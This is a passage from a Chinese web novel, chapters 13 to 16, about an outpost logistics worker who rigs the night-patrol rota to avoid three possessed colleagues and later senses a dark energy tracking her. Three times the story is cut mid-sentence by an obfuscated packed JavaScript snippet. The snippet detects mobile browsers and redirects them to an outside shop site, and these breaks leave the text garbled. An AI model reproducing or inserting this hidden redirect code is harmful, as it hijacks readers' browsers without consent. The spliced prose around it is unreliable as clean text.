她慢慢坐起来,脖子僵得厉害,像落枕了一样。抬手摸颈侧的印记,温的,轻轻跳动着,比昨晚那股虚弱的劲儿好像恢复了一点。 但也就一点。 林星光掀开被子下床,走到洗手间。镜子里的人脸色发白,眼底青黑,头发乱糟糟地支棱着。 她拧开水龙头,用冷水拍脸,一下一下地拍到皮肤发红,拍到那股困倦彻底被冷水冲走,才开始洗漱。 洗漱完后她对着镜子笑了笑。 嘴角上扬,眼尾弯起,弧度调到最合适的角度。 好了。 她换好工装,把拉链拉到最顶,遮住颈侧的印记。出门前又站在门口听了会儿外面的动静,才拉开门,走出去。 走廊里的灯已经切换到晨间模式,她沿着通道往食堂走,路上碰到几个熟人,都笑着打招呼,她也一一回应,声音软软的,跟平时没什么两样。 食堂里人不多,这个点来吃饭的都是赶早班的。林星光端着餐盘打了碗粥,拿了个光绒菜包子,找了个角落的位置坐下。 她慢慢喝着粥,开始用余光扫着食堂里的人。 没看到那三个人。 她松了口气,又觉得这口气松得太早。 他们不在食堂,不代表不在别的地方。昨晚那股冰冷的黑色能量就停在她门口,足足站了十来分钟才离开。今天,他们肯定还会有动作。 说来也好笑,明明之前自己还在想办法接近他们三个探查消息,现在却又开始避之不及…… 吃完早饭,林星光去了后勤科。 老陈还没来,办公室里就她一个人。她打开终端,调出今天的工作安排,正看着,门被推开了。 老陈端着保温杯走进来,身上那件灰工装皱巴巴的,一看就是没认真熨过。他看见林星光,抬了抬下巴:“哟,这么早?” “陈叔早。”林星光笑着应了声,“昨晚睡得还行?” “行什么行,年纪大了,觉轻。”老陈一屁股坐在椅子上,“站长昨天又发通知了,说巡夜排班的事以后归我们后勤科管。你看看,这不是没事找事吗?本来是防卫队的事,让我们后勤科掺和什么。” 林星光心里一动。 “对啊,之前不都是由防卫队负责吗?他们想怎么排就怎么排。” 所以一些边缘人物总会被排去夜巡。 “可不是。”老陈喝了口茶,“站长说巡夜得加强管理,统一由后勤科协调。说白了,就是觉得防卫队自己排班有私心,想让我们盯着点。” 他抱怨一句,咂咂嘴:“排班的事,就你来做吧。反正你平时也没什么事,又熟悉这些,比我这老头子强。你把这半个月的排班表弄出来,下午下班前我给站长送去。” 林星光应得很快:“行啊陈叔,我来做。” 老陈摆摆手,往椅子上一坐,打开终端刷起了新闻,嘴里还嘟囔着:“站长就是瞎折腾,什么得罪人的事都往我这边丢!” 林星光没接话,打开自己的终端。 她指尖在屏幕上滑动,先把现有的人员名单和区域划分调出来,心里快速盘算着。 前哨站的巡夜区域有三个:生活区及周边、作物培育区、能量接收塔及仓储区。她出事的那天晚上就是在负责作物培育区的夜巡,然后顺着培育区前往能量接收塔。 现在站长将排班的权利下放到后勤科,虽然有可能得罪人,但对她来说却恰到好处。 她今天来后勤科的路上就一直在想办法,想要避开赵锐、李文和孙小雅。这三个人身上的冰冷能量像跗骨之蛆,每次靠近都让她胸闷,颈侧的蔷薇印记也会发烫提醒。 再毫无防备,肯定有危险。 正想着,后勤科的门被轻轻敲了敲。 林星光抬起头,看见孙小雅站在门口。 她穿着便服,头发扎得低低的,脸上带着浅浅的笑,看起来跟平时没什么两样。 但林星光现在的感知比以前敏锐得多,在孙小雅出现的瞬间,颈侧的印记就轻轻跳了一下,胸口也泛起一股淡淡的闷意。 她来了。 “小林,陈叔。”孙小雅走进来,“听说今天站长让后勤科排班,我想调一调。” 老陈抬起头,一脸疑惑:“调班?调什么班?” 巡夜的班都还没排好,她要调什么? “我想把白班调成夜巡班。站长不是说巡夜要加强管理吗?我觉得我也应该为前哨站做点贡献,所以想申请夜巡。” 林星光的心脏一缩。 孙小雅明明是通讯科的,平时值白班负责监测通讯设备,是大家都想要的轻松活儿,怎么突然想要调去夜巡? 她脸上挂着笑,目光却落在孙小雅身上。孙小雅的表情很自然,语气也很正常,完全看不出什么异常。 “夜巡班?”老陈眉头皱起来,“小孙,你们通讯科晚上不是有人值班吗?” “有的,但那是固定岗。”孙小雅笑了笑,“我想着多走动走动,对身体好。而且我异能是空间感知,晚上巡夜也能帮上忙,万一再有什么能量异常,我能早点发现。” 理由挺合理。 老陈看了看孙小雅,有点犹豫:“这事儿……得你们科长同意吧?” 前哨站并不是所有人都会夜巡,有人的地方就有特权。 “科长说让我自己决定。”孙小雅的目光转向林星光,“小林,你说呢?其实咱俩可以一组,路上也有个伴,省得你一个人害怕。” 林星光的心沉了下去。 孙小雅是冲她来的。这已经是明摆着的了。 但她脸上没露出来,只是露出惯常的笑,语气软软的:“小雅姐说得对,夜巡确实有个伴好。不过……” 她顿了顿,看向老陈:“陈叔,排班的事您刚交给我,我还在琢磨怎么排。毕竟两百□□值,要是排得太松散,一个月都轮不上一次,站长肯定说我们偷懒;要是太密集,大家又吃不消。我得先定好轮值框架,才好给小雅姐安排呀。” 老陈点点头,深以为然:“你说得对,先定规矩再排人。小孙,你先回去吧,等小林把轮值框架定好,我让她优先给你排个合适的时段。” 孙小雅的笑容顿了一下,很快又恢复正常:“好的,麻烦陈叔和小林了。那我先走了。” 她转身往外走,走到门口的时候,又回头看了林星光一眼。 林星光迎着她的目光,笑着点点头,像什么都没察觉。 门关上了。 林星光靠在椅背上,那股闷意还残留在胸口,颈侧的印记温温的,比刚才稍微烫了一点。 老陈还在那儿嘟囔:“这小孙,倒是越来越外向了。不过这排班的规矩,确实得定好。” 林星光立刻坐直身子,把终端往老陈面前推了推:“陈叔,我正愁这事呢,您快帮我拿拿主意。从晚八点到早八点,一共十二个小时。您经验足,觉得分成几个批次最合适?” 老陈被她这么一请教,顿时来了精神,放下保温杯凑了过来:“这还不简单?按两小时一个批次来分!晚八点到早八点,正好分成六个批次,每批双人一组,走完整的闭环路线,不许漏一步。” 林星光眼睛一亮,故作恍然大悟的样子:“六个批次?真不错!每晚十二个人,半个月就是一百八十人,刚好能让大部分人都轮上一次,剩下的人下半个月接着轮,一个月轮值一次,不松不紧,大家绝对没怨言!” 老陈得意地捋了捋袖子:“那是!我早就算过了。而且每批之间不用留重叠,前一批走完两小时回来,交接完记录,后一批正好出发,刚好卡着点,保证全时段覆盖。咱们按这个来,站长绝对挑不出半点毛病。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213528|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “太对了!”林星光连忙附和,“那人员搭配呢?比如说异能者,总不能让他们凑在一块吧?感觉资源有点浪费啊。” 老陈皱起眉,琢磨了一下,手指在桌上重重一点:“这还不好办?打散了排!六个批次,每个批次都安插一个异能者,搭配普通员工,一来能让异能者护着普通人,二来能把他们拆得七零八落。资源合理规划!” 林星光心里彻底稳了,脸上的崇拜之色更浓,拍着手说:“陈叔,您这脑子也太灵光了!我怎么就没想到这一招?把他们分在不同批次,每人守一个时段的完整路线,完全能发挥异能者的作用!” 被她这么一夸,老陈更是满面红光,大手一挥:“就这么定了!六个批次,两小时一批,双人一组走完整路线,异能者打散分到各个批次,搭配普通员工。你就按这个框架排!” “好嘞!”林星光立刻应声,指尖飞快地在终端上操作起来。 晚八点到早八点,六个批次,每批双人,全程走固定闭环路线,两百七十多人半个月轮值近半数…… 她先把那三个人人放在了第一、第三、第六三个完全不相邻的批次,每人都要走完整的巡夜路线,从出发到结束,时间上没有任何交集,别说聚在一起商量,就连在巡夜路上擦肩而过的机会都没有。 而她自己,则选了第四批次,这个时段完全避开了那三个人。巡夜路线全程固定,她只需按部就班走完,就能最大限度远离危险。 她把排班表做得清清楚楚,每个批次的人员、时段、交接要求都标注得明明白白,尤其在备注栏里写着:“本方案由后勤科□□统筹制定,实行六批次轮值制,每批两小时,双人一组走完整闭环路线,确保公平高效及全时段覆盖。” 打印出来后,她第一时间递到老陈面前:“陈叔,您看,完全按您的主意排好了!” 老陈接过来看了一遍,越看越满意,拍着桌子说:“完美!跟我想的丝毫不差!这表交上去,站长肯定得夸我考虑周全!” “那是肯定的!”林星光笑着附和,“这都是您的绝妙主意,我就是照着您的思路敲上去而已。要不是您指点,我哪能排得这么好呀!” 老陈被夸得眉开眼笑,摆摆手却难掩得意:“行,就这么定了!” 林星光立即传给站长批复,不一会儿,排班表就通过了。 审批通过的消息才弹出来,后勤科的门又被敲响了。 孙小雅去而复返,脸上还带着期待的笑:“小林,陈叔,排班结果出来了吗?” 她怎么这么着急? 林星光心里一愣,脸上依旧是那副讨喜的模样,把打印好的排班表递给她看:“小雅姐,刚排好!你被分在第一批次,搭档是张诚哥。你是空间感知异能,这个时段刚入夜,路上视线还可以,正好能帮着排查路线上的死角,陈叔特意把你安排在这个时段的。” 孙小雅的目光落在排班表上,看到自己的时段,又扫了一眼其他批次,笑容淡了点:“没跟你一组啊?我还想着跟你一起巡夜呢。” “我也想呀!”林星光语气带着十足的遗憾,“可惜我被分在第四批次,跟您的时段差了好几个小时呢。下次轮值,我一定跟陈叔说,争取跟你一起!” 不过下次再排班就是半个月以后了。 如果没人找她代班,那她也要一个月后再夜巡了。 老陈在旁边端着保温杯,慢悠悠地帮腔:“小孙,这排班是按规矩来的,两百多人都得轮,不能搞特殊。你第一批次,走完整路线就行,责任重大,可别偷懒。” 孙小雅心里虽有不甘,却也知道再纠缠也没用,只能点点头:“行吧,我知道了。谢谢你们。” “不客气小雅姐!” 孙小雅没再多说,转身离开了。 门关上的瞬间,林星光脸上的笑容慢慢收了起来。 她抬手摸了摸颈侧的蔷薇印记,温热平稳,没有再发烫。 但林星光心里清楚,这只是暂时的安稳。 那个东西,绝不会因为这次计划的落空就善罢甘休。 14. 黑色碎片 排班表贴出去的第二天,整个前哨站都知道了新的巡夜规矩。 林星光去食堂吃早饭的时候,听见好几个人在讨论这事。维修科的两个技术员端着餐盘从她身边经过,嘴里还在念叨:“六个批次,两小时一班,被排到半夜可真是折腾人。” “也还好吧,半个月才轮一次,比之前强。之前防卫队排班,净让他们自己人占便宜。” “那倒是……” 林星光低着头喝粥,脸上没什么表情,耳朵却竖着。 她留意了一下周围,没看见那三个人。赵锐不在,李文不在,孙小雅也不在。整个食堂里的人都正常得不能再正常,集中精神感知一下,不同颜色的光晕在各人身上浮动,平稳又温和。普通人的是白色,强化系的是淡铜色,精神系的是浅紫色,元素系的更是各有各的颜色。 她松了口气,把最后一口粥喝完,起身去放餐盘。 走出食堂的时候,迎面碰上了老陈。 老陈还是那副打扮,嘴里叼着根没点燃的烟,手里拎着个保温杯,看见她就抬了抬下巴:“小林,昨天那排班表,站长挺满意。刚才碰见他,还夸我考虑周全。” 林星光立刻笑起来:“那是陈叔您的主意好,我就是动动手的事。” 老陈摆摆手,脸上的褶子都笑开了:“行了行了,少拍马屁。今天仓储区那边还有批物资要清点,你记得去一趟。” “好嘞,我这就去。” 林星光应了一声,转身往仓储区走。 路上她特意绕了点路,避开了环境维护科和通讯科的办公区。 她现在能力不足,最好不要跟他们有正面冲突,能避开就避开,能拖就拖。毕竟她的感知还没完全掌握,蔷薇又虚弱得只剩那点微弱的跳动,硬碰硬就是找死。 到了仓储区,门开着。 老张正蹲在地上拆箱子,看见林星光进来,赶紧嚷嚷:“小林,快来帮忙!这批营养液的包装有问题,好几箱都漏了,得重新打包。” 林星光走过去,蹲下来看了看。箱子里确实漏了不少,蓝色的营养液淌得到处都是,甜腻腻的味道直往鼻子里钻。营养液是用来培育星际植物的,也是整个前哨站消耗最多的物资,制作很简单,但前哨站无法自主生产,每次都必须由核心区分配。 隔三岔五就要消耗运力来运输营养液,所以物资清点工作是林星光在后勤科经常做的事。 “怎么漏成这样?”她皱起眉。 “谁知道呢,质量越来越次,又不把生产许可下放给我们。核心区那些大爷,越来越不把咱们前哨站看在眼里了。”老张嘟囔着,把手里的胶带递给她,“赶紧的,重新打包好,等下还得入库。” 林星光接过胶带,开始一箱一箱地检查,把漏的挑出来,好的重新封好。 有点机械,好在干这活不需要动脑子,手在动,脑子就可以想别的。 林星光在想那三个人。 赵锐、李文、孙小雅。 她把他们仨分到了不同的时段,互相之间没有交集,也和自己错开了。排班表出来有一会儿了,他们应该都知道了。孙小雅昨天来问过,被挡回去了,今天应该不会再来了吧? 李文呢?现在排班表出来了,他会不会也来找她?如果是以前的他,应该不会,毕竟他就是个内向、不爱社交的人。 但现在不好说。 还有赵锐。那晚站在她门口十来分钟,到底是想干什么? 想到这里,林星光的手顿了一下,胶带歪了,粘在箱子上皱成一团。 她深吸一口气,撕掉重新贴。 别想了。 越想越乱。 把仓储区的活干完,已经快中午了。林星光跟老张打了声招呼,去食堂吃午饭。 食堂里人多了起来,闹哄哄的,各种声音混在一起。她打了饭,按照习惯找了个认识的人一起坐下,目光习惯性地扫了一圈。 还好,没看到那三个人。 她低头吃饭,时不时跟熟人闲聊两句,看起来与平时没有区别。 吃完饭回到后勤科,老陈不在,打开终端发现他给自己留了条消息:下午我去站长办公室开会,你盯着点,有事给我发消息。 林星光翻了翻终端上其他的消息,发现没什么需要特别注意的,就在椅子上坐下来。 下午没什么事,就整理整理单据,归归档。她调出前几天的工作记录,一边看一边往系统里录。 录到一半,颈侧的蔷薇印记突然跳了一下。 轻轻跳了一下,像有什么东西在里面动了动。 林星光的手顿住。 印记又跳了一下。 然后,从印记里涌出来一股淡淡的暖意,它顺着脖子向周围蔓延,温温的,很舒服。 林星光愣了愣。 她下意识抬手摸了摸颈侧,指尖触到的皮肤温热平滑,和平时没什么两样。 “蔷薇?”她在心里轻轻叫了一声。 没有回应,但那股暖意还在,轻轻包裹着她。 林星光靠在椅背上,闭上眼睛。 这几天神经一直绷着,那股暖意一点一点渗进去,她攒了好几天的疲惫好像都散了。 她没动,就那么靠了几分钟。 直到那股暖意慢慢退去,她才睁开眼睛。 低头一看,手里的记录还没录完。她深吸一口气,继续干活。 傍晚的时候,后勤科的门被敲响了。 林星光抬起头,惊讶地看见李文站在门口。 他穿着灰工装,手里拎着个白色的纸盒子,脸上带着点腼腆的笑。 “小林,忙着呢?” 竟然来了?! 这跟她预料中的不同。 林星光的心跳漏了一拍,但脸上已经挂起了笑:“李哥?你怎么来了?快进来坐。” 李文走进来,把手里的纸盒子放在她桌上:“那个,前几天谢谢你帮我留意监控。这几天外植区那边也没事吧?” “没事没事,一切正常。”林星光笑着摆摆手,“李哥你太客气了,我也就是顺便的事。” “一点小心意。”李文把盒子往她面前推了推,“这是我上次去核心区带回来的点心,一直没舍得吃。你帮了我忙,应该的。” 林星光低头看了看那个盒子。 白色的硬纸盒,上面印着核心区一家老字号的标志。前哨站物资匮乏,这种核心区的点心,在这儿并不常见。 “李哥,这太贵重了,我不能要。”她推回去,“就是顺手的事,哪用得着这么客气。” “拿着吧。”李文又把盒子推回来,脸上带着点不好意思的笑,“我也不爱吃甜的,放着也是放着。你就当帮我消灭了。” 话说到这份上,再推就不识趣了,和她平时的表现也不符。 但你既然不喜欢,干嘛从核心区带回来呢? 林星光为了不让对方生疑,只好接过来,笑着说:“那就谢谢李哥了。下次有什么事需要帮忙,尽管开口。” “好。”李文点点头,又站了两秒,转身走了。 门关上的瞬间,林星光脸上的笑容淡下来。 她低头看着手里的点心盒,总觉得哪里不对劲。 李文这个人,内向,腼腆,平时话都不多,更不会主动跟人打交道。上次在食堂主动坐过来跟她一起吃饭,就已经够反常了。今天还专门送点心过来? 不过他跟孙小雅还是有点不一样。孙小雅似乎总试图寻求跟自己长时间近距离接触的机会,但他却点到为止,仿佛真的只是来送个点心而已。 难道问题是在点心上? 她皱了皱眉,把盒子放在桌上,没有打开。 林星光心里有点不踏实。 她盯着那个盒子看了几秒,然后伸手,把盒子拿起来,凑到鼻尖闻了闻。 没什么味道,就是点心的甜香。 难道是盒子里面不对? 她小心地打开盒子,仔细检查,里面确实是一块一块看起来就香甜可口的小点心,也没什么异常。 她不死心,又把盒子翻过来,看了看底部。 底部是平的,白色的硬纸板,什么都没有。 不对。 林星光把盒子举高了一点,借着光看。 盒子底部有一小块地方,颜色比周围深一点,像是沾了什么东西。 她把盒子凑近,仔细看,发现那不是沾上的,而是嵌进去的。 纸板的缝隙里嵌着一小片黑色的碎片,不仔细看根本发现不了。 这是什么东西? 林星光的心跳猛地快了起来。 她没急着去碰那个碎片,而是先把盒子轻轻放回桌上,然后站起身,走到门口,拉开门往外看了一眼。 走廊里空荡荡的,没有人。 她关上门,又走到窗前检查了一遍窗户。确认门窗都关严实了,才重新回到桌边。 这东西,是李文故意放的,还是他自己也不知道? 如果是故意的,那他送点心过来,就是为了把这个东西送到她手里。如果是无意的,那这东西是从哪儿沾上的? 或者,这只是普通的纸箱瑕疵,工厂生产时材料不够纯净的缘故? 不管怎样,林星光都不敢用手去碰。 她转身从抽屉里翻出一张纸巾,折了两层,然后隔着纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221781|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巾,用手指轻轻按了按盒子底部,指尖没有直接接触。 没什么感觉。 她又换了个角度,隔着纸巾用指甲刮了刮。 还是没感觉。 林星光皱了皱眉,把纸巾揭开一角,只隔着薄薄一层,用手指去碰。 指尖刚靠近,她就感觉到了一股轻微的刺麻感,像有无数根细针在皮肤表面轻轻扎着。 双层纸巾没感觉,但只有一层就有异样了。 她飞快地缩回手。 这东西,有问题。 如果用金属的东西去碰,会怎么样? 这个念头刚冒出来,就被她按了下去。 不试。 不管会怎么样,都不值得试。 她想起那天在能量接收塔,指尖碰到焦纹时的那股凉意,顺着血管往上窜,颈侧的印记瞬间滚烫。那种感觉她不想再体验第二次。 万一试出问题来呢? 万一这东西碰到金属会释放更多能量?万一它会像那天晚上的能量冲击一样炸开?万一它会让李文感知到她在这里做什么? 好奇心害死猫。 不能试。 她现在最需要的,是安全地把这东西处理掉,而不是满足好奇心。 林星光深吸一口气,拿起盒子,走到了垃圾处理通道旁边。 前哨站的垃圾处理通道连着焚烧炉,扔进去的东西会被高温烧成灰烬,并进行无污染处理。 她把点心盒整个塞进通道口,按下按钮。 通道里传来一阵嗡鸣声,盒子消失在黑暗里。 直到嗡鸣声停止,林星光才转身。 刚走回座位,颈侧的蔷薇印记突然微微发烫。 她一愣,拉开门。 走廊里空荡荡的,没有人。 她用精神力去感知,发现有一股能量,正停在走廊尽头。那股能量不太强,但也是暗黑的颜色。 李文。 他还没走。 林星光的心跳又快了起来,但她脸上没露出来。她站在后勤科门口,装出一副跟别人通讯的模样,一点儿也不去看李文的那个方向。 那股能量停了几分钟,然后消失了。 李文走了。 林星光这才放下伪装通话中的终端,走回后勤科的办公室坐下。 手还在抖。 她把手放在膝盖上,用力攥紧,等那股颤抖过去。过了好一会儿,才慢慢松开。 刚才碎片消失的瞬间,她感知到好像有什么被惊动了一样。 那片碎片,和李文有联系? 他能感知到碎片的状态? 这个念头让林星光后背沁出一层薄汗。 幸好,她没有去试那些有的没的。 如果刚才她用金属去碰,如果那东西会释放更强的信号,如果李文因此冲进来—— 她不敢往下想。 晚上回到宿舍,林星光把门反锁好,站在镜子前,拉开衣领。 颈侧的蔷薇印记安安静静地贴着,淡粉色的花瓣,边缘泛着极淡的光泽。 她盯着看了一会儿,忍不住小声嘀咕: “那东西到底想干嘛?” 印记轻轻跳了一下,像在回应她的话。 林星光愣了愣,盯着镜子里的印记:“你这是在回应我?” 没动静。 她又等了几秒,印记还是安安静静的,只有那股微弱的跳动,一下一下,和她的心跳交错着。 “你倒是说话啊。” 当然没回应。 林星光撇撇嘴,抬手摸了摸印记。 指尖触到的皮肤温热平滑,和平时没什么两样。但她总觉得刚才那一下跳动,带着点说不清的情绪。 像是……委屈? 这个念头冒出来,林星光自己都觉得好笑。 一枚印记,能有什么情绪? 她摇摇头,去洗漱。 洗漱完躺在床上,她盯着天花板,脑子里又想起今天的事。 李文送来的点心盒底部的黑色碎片到底是什么? 还有他站在走廊尽头的那段时间,到底在想什么? 林星光翻了个身,侧躺着。 颈侧的印记温温的,贴着她的皮肤轻轻跳动。 她闭上眼睛,把意识沉进去,试着去感知周围的能量。 宿舍里一片漆黑,但她的感知里,有光。 淡淡的白色光晕从书桌上、柜子里、墙角那株光绒菜上浮起来,微弱又平稳。那是物体和植物本身的能量。 隔壁刘姐的房间,透出一层淡白色的光,平稳地流动着,是普通人的能量。 …… 15. 还能定位吗 第二天,林星光刚吃完早饭回宿舍拿东西,终端就震了一下,一打开,屏幕上跳出一行字:仓储区盘点,八点前到,老张等你。 她看了一眼,回了个“收到”,然后继续收拾东西。 今天没什么特别的安排,就是例行盘点。 仓储区的物资每周都要清点一次,营养液、工具配件、食品,一样一样数清楚,录入系统。新到多少,用了多少,还剩多少,都要记录下来。 这活儿她干过很多次,算是熟练工了。 唯一的问题是,仓储区在生活区另一头,去那儿要经过好几条通道。而她想回避的那三个人,却不知道会从哪个角落冒出来。 林星光站在镜子前,把工装的拉链拉到最顶,又抬手摸了摸颈侧的印记。 安安静静的,没什么动静。 她深吸一口气,拉开门走出去。 走廊里的灯已经切换到晨间模式,这个点人都匆匆走过,都赶着去上早班。 林星光沿着通道往前走,脚步从容,跟平时一样。 刚走过第一个岔路口的时候,颈侧的印记突然烫了一下。 烫了一下就停了,但林星光的心跳已经快了起来。 她停下脚步,蹲下身,假装在整理鞋带,用精神力感知了一下下一个岔路口的拐角。 那边有通往防卫队训练场的路。 她蹲了两秒,站起来,立刻转身,退回到刚才的岔路口,然后拐进了另一条通道。 那条通道是去维修科的,绕远,要多走二十分钟。 但她宁可绕一下。 因为她刚刚就感知到拐角过去不到20米的地方,有一股黑色能量,看那浓度,无疑是赵锐。 林星光加快了脚步,一边走一边竖起耳朵听后面的动静。黑色能量没有跟上来,那股胸闷的感觉也没有出现。她松了口气,继续往前走。 维修科的通道很安静,两边都是关着的门。她走到一半,迎面碰上一个维修工,抱着工具箱匆匆走过,跟她打了个招呼。 她笑着应了一声,继续走。 绕了一大圈,终于到了仓储区。 老张已经等在那儿了,蹲在门口,看见她就嚷嚷:“怎么才来?不是说八点前到吗?” “路上耽误了点时间。”林星光走过去,脸上带着歉意的笑,“不好意思啊张叔,让您久等了。” “行了行了,赶紧的。”老张站起来,“今天盘的是三号仓和四号仓,营养液和工具配件。单据我都准备好了,你点点。” 林星光接过单据,跟着老张进了仓库。 仓储区的灯很亮,一排排货架整齐地排列着,上面摆满了各种各样的箱子。她开始干活,一箱一箱地数,扫编码,录入系统,做好记录。 老张在旁边坐着,时不时搭句话,抱怨核心区的物资质量差,抱怨站长抠门,抱怨这破地方什么都缺。 林星光嗯嗯啊啊地应着,几乎没做什么有效回应。 这些话她翻来覆去地听了太多遍了,对于一个想要转正的实习生来说,这些老员工的抱怨实在让她找不到什么共鸣。 她一心两用地想着刚刚的情形。 刚刚那条路,是去仓储区的必经之路。赵锐站在那个拐角的位置,是在等她吗? 他怎么恰好知道,自己那时会从那里路过? 难道他体内的那个生命体,能定位她? 那天晚上赵锐站在她宿舍门口,站了十来分钟才走。李文送完点心后,也在走廊的尽头站了好久。 到底是怎么回事? 林星光深吸一口气,继续点数。 她把三号仓的营养液点完,又去四号仓点工具配件。一样一样数清楚,跟单据对好。 老张在旁边打盹,呼噜打得震天响。 点完已经是十一点多了。 林星光把单据整理好,签了字,放在老张旁边的桌子上。老张还在睡,她没叫醒他,轻手轻脚地走出了仓库。 站在门口,她想了想,没走原路回去。 她打算再绕一次。 刚才来的时候绕了远路,现在回去,可以试试另一条通到后勤科的远路。 林星光转身,往那条路走去。 通道两边都是储物间,门关得严严实实。 她走得很谨慎,一边走一边用精神力感知周围的能量。 淡淡的白色光晕从两边的门缝里透出来,平稳又温和,让人心情平静。 走到一个岔路口的时候,她停下了脚步。 前面有三条路,一条通往后勤科,一条通往环境维护科,一条通往生活区。 她应该走左边那条,回后勤科。 但她没急着走。 林星光站在原地,闭上眼睛,把精神力往外延伸。 这几天她一直在练习这个,每天晚上睡觉前都会试着把意识探出去,感知周围的能量。一开始只能感知到身边几米的范围,现在能探出去几十米了。 她把意识往外探,探向前面的三条路。 左边那条,回后勤科的,能量平稳,淡白色的光晕从远处透过来,没什么异常。 中间那条,去环境维护科的,有一团黑色的能量,停在大概五十米远的地方。那团能量不算强,但暗沉沉的,像一团化不开的墨。 右边那条,去生活区的,什么都没有。 林星光睁开眼睛。 中间那条路的黑色能量,是谁? 环境维护科的话,应该是李文? 不管是谁,她都不想往那边走。 她转过身,往左边那条路走去。 她继续边走边用精神力感知着周围的动静。 那团黑色能量没有动,还在原来的位置。 她松了口气,继续往前走。 走了大概几分钟,前面又出现了一个岔路口。左边是回后勤科的路,右边是通往生活区的路。 她站在岔路口,又把精神力往外探。 左边那条路,能量平稳,没什么异常。 右边那条路,也能量平稳,没什么异常。 但当她往更远的地方探的时候,她感知到了一团黑色能量,正从生活区的方向,往这边移动。 那团黑色能量方向很明确,虽然看起来不快,但明显就是朝着她这边来的。 林星光的心跳快了起来。 那团黑色能量越走越近,越走越近,走到离她大概两百米的地方,停住了。 然后它开始往后退。 退了几十米,又停住。 然后又往前走。 林星光看着那团黑色能量来回移动,像是在试探什么。 她突然明白了什么。 她转过身,往左边那条路走了几步。 那团黑色能量立刻往这边移动了几十米。 她停下来,往右边那条路走了几步。 那团黑色能量又停住了。 她又往左边走几步。 那团黑色能量又往这边移动。 林星光的心沉了下去。 这东西,真的能定位她。 它感知到她在这个区域,但不知道具体在哪条路,所以在那来回移动,想找出她的准确位置。 她深吸一口气,强迫自己冷静下来。 然后她闭上眼睛,用精神力去感知那团黑色能量的强弱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221782|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不算强,比赵锐的弱多了。如果她没猜错,应该是李文或者孙小雅中的一个。 那团黑色能量还在那来回移动,像一头困兽,找不到目标,急得团团转。 林星光睁开眼睛。 她没再犹豫,转身往左边那条路走去。她没有跑,怕脚步声会暴露自己的位置。 走了大概五分钟,她停下来,用精神力感知了一下。 那团黑色能量还没有跟上来。 她又走了五分钟,再感知一次。 距离太远,已经感知不到了。 林星光松了口气,靠在墙上,大口喘气。 后背已经被冷汗浸湿了。 她抬手摸了摸颈侧的印记,温温的热,像有人在轻轻按着她的脖子。 “谢谢你。”她在心里轻轻说了一句。 印记跳了一下。 林星光愣了愣,低头看了看自己的手。 刚才那一下跳动,是在回应她吗? 她没多想,站直身体,继续往后勤科走。 回到后勤科的时候老陈不在,办公室里空荡荡的。她走到自己的座位前,坐下,把今天的盘点记录录入系统。 手指在键盘上敲着,脑子里却忍不住思考那团黑色能量到底是谁? 他们是怎么找到她的? 真的是那个东西有定位能力? 林星光的手指停了下来。 如果那个东西能定位她,那她躲得了一时,躲不了一世。她不可能永远避开他们,总有一天会正面碰上。 到那时候,她怎么办? 靠蔷薇吗? 蔷薇现在虚弱得连虚影都凝不出来,只能靠那点微弱的能量给她预警,给她驱散那股冰冷的压迫感。真要动起手来,它能挡得住吗? 答案很明显。 林星光深吸一口气,把那些乱七八糟的念头压下去。 她把盘点记录录完,又整理了几份单据,然后去食堂吃午饭。 吃完饭回到后勤科,老陈已经回来了,正趴在桌上打盹。她轻手轻脚地走进去,在自己的座位上坐下。 下午没什么事,就是整理整理文件,归档归档。她打开终端,开始干活。 晚上回到宿舍,林星光又站在镜子前,拉开衣领。 颈侧的印记安安静静的,淡粉色的花瓣看起来很好看,边缘泛着极淡的光泽。 她盯着看了一会儿,洗漱完后躺到床上。 累。 身体累,脑子也累。 她闭上眼睛,试着用精神力去感知周围的能量。 宿舍里的灯都关掉了,但她的感知里有光。淡淡的白色光晕从书桌上、柜子里、墙角那株光绒菜上浮起来,微弱又平稳。 隔壁刘姐的房间,透出一层淡白色的光,平稳地流动着。 再往远处,生活区的其他宿舍里,也透出各色的光,有强有弱,都很平稳。 一切正常。 她翻了个身,侧躺着。 颈侧的印记温温的,贴着她的皮肤轻轻跳动。 她抬起手,摸了摸。 “你今天提醒我那一下,挺及时的。” 印记跳了跳。 一下。 林星光愣了愣,等着。 过了几秒,印记又跳了一下。 两下。 她盯着天花板,忍不住笑了。 “你能听到我说话?” 没回应。 林星光等了一会儿,确定不会再有回应,才闭上眼睛。 “晚安。” 印记轻轻跳了一下,像在回应。 林星光没睁眼,嘴角弯了弯。 16. 被袭击了 又是普普通通的工作日。 林星光推着小推车往仓储区送各科退回的物资,脚步轻快,工装的拉链拉到顶,遮住颈侧那枚淡粉色的印记。 